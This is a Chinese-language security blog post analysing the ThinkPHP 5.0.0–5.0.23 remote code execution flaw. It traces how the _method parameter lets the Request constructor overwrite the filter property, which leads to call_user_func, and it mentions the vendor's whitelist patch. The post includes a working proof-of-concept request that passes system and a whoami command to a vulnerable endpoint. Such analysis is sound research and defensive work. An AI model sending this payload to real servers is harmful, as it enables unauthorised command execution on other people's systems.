Hpdoger's Blog.

ThinkPHP5.0.0~5.0.23RCE漏洞分析

Word count: 1,500 / Reading time: 7 min
2019/01/20 Share

ThinkPHP5.0.0~5.0.23RCE漏洞分析

最近TP5一直在爆洞,既然浪潮在,就有必要跟进分析一下。但是由于自己对TP5框架流程不是很了解,所以有了这篇边摸索边分析的文章。

TP5框架流程

应用启动在App.php的run()函数,说一下自己对这个框架的大致理解

用户请求 -> 路由解析 -> 调度请求 -> 执行操作 -> 响应输出

App.php代码部分流程如下: (自己的理解,可能有不对的地方,望斧正
1、应用初始化initModule()
2、run()->routeCheck()对用户的get请求进行路由检测
3、若注册了路由则返回相应的调度值,若路由检测无效(即没有注册路由)则返回调度值为module
4、根据调度值,处理不同请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
switch (self::$dispatch['type']) {
case 'redirect':
header('Location: ' . self::$dispatch['url'], true, self::$dispatch['status']);
break;

case 'module':
$data = self::module(self::$dispatch['module'], $config);
break;

case 'controller':
$data = Loader::action(self::$dispatch['controller'], self::$dispatch['params']);
break;

case 'method':
$data = self::invokeMethod(self::$dispatch['method'], self::$dispatch['params']);
break;

case 'function':
$data = self::invokeFunction(self::$dispatch['function'], self::$dispatch['params']);
break;

default:
throw new Exception('dispatch type not support', 10008);
}

5、执行处理,返回输出。

TP5中get的路由请求参数为s。若get请求时s参数不存在,则调度类型默认值为module,调度方法实现self::module(),即进入MVC的处理方式:Controller层调用Module处理数据返回给View到用户。

所以核心操作就是调度请求。

回到正题

这个漏洞的产生是因为对_method参数过滤不严导致$filter变量覆盖

POC

1
2
3
4
http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=captcha

POST:
_method=__construct&filter[]=system&method=get&get[]=whoami

分析

App.php部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
/**
* 执行应用程序
* @access public
* @param Request $request 请求对象
* @return Response
* @throws Exception
*/
public static function run(Request $request = null)
{
$request = is_null($request) ? Request::instance() : $request;

try {
...
// 获取应用调度信息
$dispatch = self::$dispatch;

// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
...

$data = self::exec($dispatch, $config);
} catch (HttpResponseException $exception) {
...
}
...
}

看到$dispatch = self::routeCheck($request, $config),$request是http请求对象,通过调用Request类中的method方法来获取当前的http请求类型,该函数的实现在thinkphp/library/think/Request.php:512

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
/**
* 当前的请求类型
* @access public
* @param bool $method true 获取原始请求类型
* @return string
*/
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}

var_method的伪装变量值为_method

因此通过POST一个_method参数,即可进入判断,并执行$this->{$this->method}($_POST)语句。因此通过指定_method即可完成对该类的任意方法的调用,其传入对应的参数即对应的$_POST数组。在poc里看到传入的method为construct,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}

// 保存 php://input
$this->input = file_get_contents('php://input');
}

利用foreach循环,和POST传入数组即可对Request对象的成员属性进行覆盖。经过覆盖后的结果

这里也就解释了poc中为什么要传入method=get。为了使$this->method=get才能对应上面Request.php的method()方法返回值,否则程序报错

request对象差不多清楚了,跟进self::routeCheck()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
/**
* URL路由检测(根据PATH_INFO)
* @access public
* @param \think\Request $request 请求实例
* @param array $config 配置信息
* @return array
* @throws \think\Exception
*/
public static function routeCheck($request, array $config)
{
$path = $request->path(); //path=captcha
$depr = $config['pathinfo_depr'];
$result = false;

// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

return $result;

根据$request的get请求进行路由检测,在vendor/topthink/think-captcha/src/helper.php中captcha注册了路由,因此其对应的URL调度值为method

再返回App.php继续执行$data = self::exec($dispatch, $config);

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
...
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
...
}
return $data;
}

介绍的,根据调度值的不同处理不同请求,此时我们的dispatch为method。继续跟进Request::instance()->param()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
...
}
...
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
...
return $this->input($this->param, $name, $default, $filter);
}

array_merge用来合并参数,此时$this->param为一个数组,且第一个值为我们刚才覆盖的get值

继续跟进$this->input($this->param, $name, $default, $filter)

1
2
3
4
5
6
7
8
9
10
11
12
<?php
public function input($data = [], $name = '', $default = null, $filter = '')
{
...
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
}
...
}

跟进getFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;
return $filter;
}

到这逻辑就很清楚了,在input函数里面获得$filter值为我们之前覆盖的$this->filter,$data是实参传入的$this->param数组,接着调用 array_walk_recursive()进行自定义函数处理,函数名为filterValue()

从而调用call_user_func进行RCE

官方补丁

看一下diff

触发漏洞点就是method可控,进而调用任意函数。补丁对参数method进行了白名单

参考链接

  1. https://xz.aliyun.com/t/3845#toc-1
  2. https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
  3. https://www.kancloud.cn/zmwtp/tp5/119426
  4. https://www.kancloud.cn/zmwtp/tp5/119428
CATALOG
  1. 1. ThinkPHP5.0.0~5.0.23RCE漏洞分析
  2. 2. TP5框架流程
  3. 3. 回到正题
    1. 3.1. POC
    2. 3.2. 分析
  4. 4. 官方补丁
  5. 5. 参考链接